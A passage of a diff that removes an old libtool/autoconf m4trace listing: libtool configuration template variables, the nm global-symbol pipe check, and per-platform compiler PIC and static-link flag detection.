-# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
-#
-# As a special exception to the GNU General Public License, if you
-# distribute this file as part of a program that contains a
-# configuration script generated by Autoconf, you may include it under
-# the same distribution terms that you use for the rest of that program.
-
-# A sed program that does not truncate output.
-SED=$lt_SED
-
-# Sed that helps us avoid accidentally triggering echo(1) options like -n.
-Xsed="$SED -e 1s/^X//"
-
-# The HP-UX ksh and POSIX shell print the target directory to stdout
-# if CDPATH is set.
-(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
-
-# The names of the tagged configurations supported by this script.
-available_tags=
-
-# ### BEGIN LIBTOOL CONFIG],
-[# ### BEGIN LIBTOOL TAG CONFIG: $tagname])
-
-# Libtool was configured on host `(hostname || uname -n) 2>/dev/null | sed 1q`:
-
-# Shell to use when invoking shell scripts.
-SHELL=$lt_SHELL
-
-# Whether or not to build shared libraries.
-build_libtool_libs=$enable_shared
-
-# Whether or not to build static libraries.
-build_old_libs=$enable_static
-
-# Whether or not to add -lc for building shared libraries.
-build_libtool_need_lc=$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)
-
-# Whether or not to disallow shared libs when runtime libs are static
-allow_libtool_libs_with_static_runtimes=$_LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)
-
-# Whether or not to optimize for fast installation.
-fast_install=$enable_fast_install
-
-# The host system.
-host_alias=$host_alias
-host=$host
-host_os=$host_os
-
-# The build system.
-build_alias=$build_alias
-build=$build
-build_os=$build_os
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-# An echo program that does not interpret backslashes.
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-
-# The archiver.
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-AR_FLAGS=$lt_AR_FLAGS
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-# A C compiler.
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-# LTCC compiler flags.
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-# A language-specific compiler.
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-
-# Is the compiler the GNU C compiler?
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-# An ERE matcher.
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-
-# Whether we need hard or soft links.
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-
-# A BSD-compatible nm program.
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-
-# A symbol stripping program
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-
-# Used to examine libraries when file_magic_cmd begins "file"
-MAGIC_CMD=$MAGIC_CMD
-
-# Used on cygwin: DLL creation program.
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-# Used on cygwin: object dumper.
-OBJDUMP="$OBJDUMP"
-
-# Used on cygwin: assembler.
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-# The name of the directory that contains temporary libtool files.
-objdir=$objdir
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-# How to create reloadable object files.
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-reload_cmds=$lt_reload_cmds
-
-# How to pass a linker flag through the compiler.
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-
-# Object file suffix (normally "o").
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-
-# Old archive suffix (normally "a").
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-
-# Shared library suffix (normally ".so").
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-# Executable file suffix (normally "").
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-
-# Additional compiler flags for building library objects.
-pic_flag=$lt_[]_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)
-pic_mode=$pic_mode
-
-# What is the maximum length of a command?
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-# Must we lock files when doing compilation?
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-# Do we need a version for libraries?
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-
-# Whether dlopen is supported.
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-# Compiler flag to prevent dynamic linking.
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-# Compiler flag to turn off builtin functions.
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-
-# Compiler flag to allow reflexive dlopens.
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-
-# Compiler flag to generate shared objects directly from archives.
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-
-# Compiler flag to generate thread-safe objects.
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-
-# Library versioning type.
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-
-# Format of library name prefix.
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-
-# List of archive names. First name is the real one, the rest are links.
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-library_names_spec=$lt_library_names_spec
-
-# The coded name of the library, if different from the real name.
-soname_spec=$lt_soname_spec
-
-# Commands used to build and install an old-style archive.
-RANLIB=$lt_RANLIB
-old_archive_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_cmds, $1)
-old_postinstall_cmds=$lt_old_postinstall_cmds
-old_postuninstall_cmds=$lt_old_postuninstall_cmds
-
-# Create an old-style archive from a shared archive.
-old_archive_from_new_cmds=$lt_[]_LT_AC_TAGVAR(old_archive_from_new_cmds, $1)
-
-# Create a temporary old-style archive to link instead of a shared archive.
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-# Commands used to build and install a shared archive.
-archive_cmds=$lt_[]_LT_AC_TAGVAR(archive_cmds, $1)
-archive_expsym_cmds=$lt_[]_LT_AC_TAGVAR(archive_expsym_cmds, $1)
-postinstall_cmds=$lt_postinstall_cmds
-postuninstall_cmds=$lt_postuninstall_cmds
-
-# Commands used to build a loadable module (assumed same as above if empty)
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-module_expsym_cmds=$lt_[]_LT_AC_TAGVAR(module_expsym_cmds, $1)
-
-# Commands to strip libraries.
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-striplib=$lt_striplib
-
-# Dependencies to place before the objects being linked to create a
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-# Dependencies to place before the objects being linked to create a
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-# Dependencies to place after the objects being linked to create a
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-# The library search path used internally by the compiler when linking
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-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_[]_LT_AC_TAGVAR(allow_undefined_flag, $1)
-
-# Flag that forces no undefined symbols.
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-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
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-# Transform the output of nm in a proper C declaration
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-# Transform the output of nm in a C name address pair
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-# This is the shared library path variable.
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-# If ld is used when linking, flag to hardcode \$libdir into
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-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
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-
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-# The commands to list exported symbols.
-export_symbols_cmds=$lt_[]_LT_AC_TAGVAR(export_symbols_cmds, $1)
-
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-exclude_expsyms=$lt_[]_LT_AC_TAGVAR(exclude_expsyms, $1)
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-include_expsyms=$lt_[]_LT_AC_TAGVAR(include_expsyms, $1)
-
-ifelse([$1],[],
-[# ### END LIBTOOL CONFIG],
-[# ### END LIBTOOL TAG CONFIG: $tagname])
-
-__EOF__
-
-ifelse([$1],[], [
- case $host_os in
- aix3*)
- cat <<\EOF >> "$cfgfile"
-
-# AIX sometimes has problems with the GCC collect2 program. For some
-# reason, if we set the COLLECT_NAMES environment variable, the problems
-# vanish in a puff of smoke.
-if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
-fi
-EOF
- ;;
- esac
-
- # We use sed instead of cat because bash on DJGPP gets confused if
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
- sed '$q' "$ltmain" >> "$cfgfile" || (rm -f "$cfgfile"; exit 1)
-
- mv -f "$cfgfile" "$ofile" || \
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-])
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-])
-m4trace:acinclude.m4:5199: -1- AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_NO_RTTI], [AC_REQUIRE([_LT_AC_SYS_COMPILER])dnl
-
-_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=
-
-if test "$GCC" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)=' -fno-builtin'
-
- AC_LIBTOOL_COMPILER_OPTION([if $compiler supports -fno-rtti -fno-exceptions],
- lt_cv_prog_compiler_rtti_exceptions,
- [-fno-rtti -fno-exceptions], [],
- [_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)="$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1) -fno-rtti -fno-exceptions"])
-fi
-])
-m4trace:acinclude.m4:5217: -1- AC_DEFUN([AC_LIBTOOL_SYS_GLOBAL_SYMBOL_PIPE], [AC_REQUIRE([AC_CANONICAL_HOST])
-AC_REQUIRE([AC_PROG_NM])
-AC_REQUIRE([AC_OBJEXT])
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-AC_MSG_CHECKING([command to parse $NM output from $compiler object])
-AC_CACHE_VAL([lt_cv_sys_global_symbol_pipe],
-[
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
-symcode='[[BCDEGRST]]'
-
-# Regexp to match symbols that can be accessed directly from C.
-sympat='\([[_A-Za-z]][[_A-Za-z0-9]]*\)'
-
-# Transform an extracted symbol line into a proper C declaration
-lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
-
-# Transform an extracted symbol line into symbol name and symbol address
-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[[BCDT]]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[[ABCDGISTW]]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[[ABCDEGRST]]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[[ABCDGIRSTW]]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([[^ ]]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([[^ ]]*\) \([[^ ]]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[[BCDEGRST]]'
- ;;
-osf*)
- symcode='[[BCDEGQRST]]'
- ;;
-solaris*)
- symcode='[[BDRT]]'
- ;;
-sco3.2v5*)
- symcode='[[DT]]'
- ;;
-sysv4.2uw2*)
- symcode='[[DT]]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[[ABDT]]'
- ;;
-sysv4)
- symcode='[[DFNSTU]]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[[ABCDGIRSTW]]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[[ ]]\($symcode$symcode*\)[[ ]][[ ]]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if AC_TRY_EVAL(ac_compile); then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if AC_TRY_EVAL(NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[[]] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$_LT_AC_TAGVAR(lt_prog_compiler_no_builtin_flag, $1)"
- if AC_TRY_EVAL(ac_link) && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&AS_MESSAGE_LOG_FD
- fi
- else
- echo "$progname: failed program was:" >&AS_MESSAGE_LOG_FD
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-])
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- AC_MSG_RESULT(failed)
-else
- AC_MSG_RESULT(ok)
-fi
-])
-m4trace:acinclude.m4:5419: -1- AC_DEFUN([AC_LIBTOOL_PROG_COMPILER_PIC], [_LT_AC_TAGVAR(lt_prog_compiler_wl, $1)=
-_LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
-_LT_AC_TAGVAR(lt_prog_compiler_static, $1)=
-
-AC_MSG_CHECKING([for $compiler option to produce PIC])
- ifelse([$1],[CXX],[
- # C++ specific cases for pic, static, wl, etc.
- if test "$GXX" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
- ;;
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
- mingw* | os2* | pw32*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
- ;;
- *djgpp*)
- # DJGPP does not support shared libraries at all
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- ;;
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
- fi
- ;;
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- else
- case $host_os in
- aix4* | aix5*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- else
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- chorus*)
- case $cc_basename in
- cxch68*)
- # Green Hills C++ Compiler
- # _LT_AC_TAGVAR(lt_prog_compiler_static, $1)="--no_auto_instantiation -u __main -u __premain -u _abort -r $COOL_DIR/lib/libOrb.a $MVME_DIR/lib/CC/libC.a $MVME_DIR/lib/classix/libcx.s.a"
- ;;
- esac
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- ;;
- esac
- ;;
- dgux*)
- case $cc_basename in
- ec++*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- ;;
- ghcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- freebsd* | kfreebsd*-gnu | dragonfly*)
- # FreeBSD uses GNU C++
- ;;
- hpux9* | hpux10* | hpux11*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- if test "$host_cpu" != ia64; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- fi
- ;;
- aCC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- ;;
- esac
- ;;
- *)
- ;;
- esac
- ;;
- interix*)
- # This is c89, which is MS Visual C++ (no shared libs)
- # Anyone wants to do a port?
- ;;
- irix5* | irix6* | nonstopux*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- # CC pic flag -KPIC is the default.
- ;;
- *)
- ;;
- esac
- ;;
- linux*)
- case $cc_basename in
- KCC*)
- # KAI C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- icpc* | ecpc*)
- # Intel C++
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
- ;;
- pgCC*)
- # Portland Group C++ compiler.
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- cxx*)
- # Compaq C++
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- lynxos*)
- ;;
- m88k*)
- ;;
- mvs*)
- case $cc_basename in
- cxx*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-W c,exportall'
- ;;
- *)
- ;;
- esac
- ;;
- netbsd*)
- ;;
- osf3* | osf4* | osf5*)
- case $cc_basename in
- KCC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='--backend -Wl,'
- ;;
- RCC*)
- # Rational C++ 2.4.1
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- cxx*)
- # Digital/Compaq C++
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # Make sure the PIC flag is empty. It appears that all Alpha
- # Linux and Compaq Tru64 Unix objects are PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- *)
- ;;
- esac
- ;;
- psos*)
- ;;
- solaris*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.2, 5.x and Centerline C++
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
- ;;
- gcx*)
- # Green Hills C++ Compiler
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
- ;;
- *)
- ;;
- esac
- ;;
- sunos4*)
- case $cc_basename in
- CC*)
- # Sun C++ 4.x
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- lcc*)
- # Lucid
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-pic'
- ;;
- *)
- ;;
- esac
- ;;
- tandem*)
- case $cc_basename in
- NCC*)
- # NonStop-UX NCC 3.20
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- ;;
- *)
- ;;
- esac
- ;;
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- case $cc_basename in
- CC*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- esac
- ;;
- vxworks*)
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- ;;
- esac
- fi
-],
-[
- if test "$GCC" = yes; then
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- _LT_AC_TAGVAR(lt_prog_compiler_can_build_shared, $1)=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- ;;
-
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- else
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-qnocommon'
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # PIC (with -KPIC) is the default.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
-
- newsos6)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-fpic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
- ccc*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # All Alpha code is PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- # All OSF/1 code is PIC.
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-non_shared'
- ;;
-
- solaris*)
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld ';;
- *)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,';;
- esac
- ;;
-
- sunos4*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Qoption ld '
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-PIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-Kconform_pic'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
- _LT_AC_TAGVAR(lt_prog_compiler_pic, $1)='-KPIC'
- _LT_AC_TAGVAR(lt_prog_compiler_static, $1)='-Bstatic'
- ;;
-
- unicos*)
- _LT_AC_TAGVAR(lt_prog_compiler_wl, $1)='-Wl,'
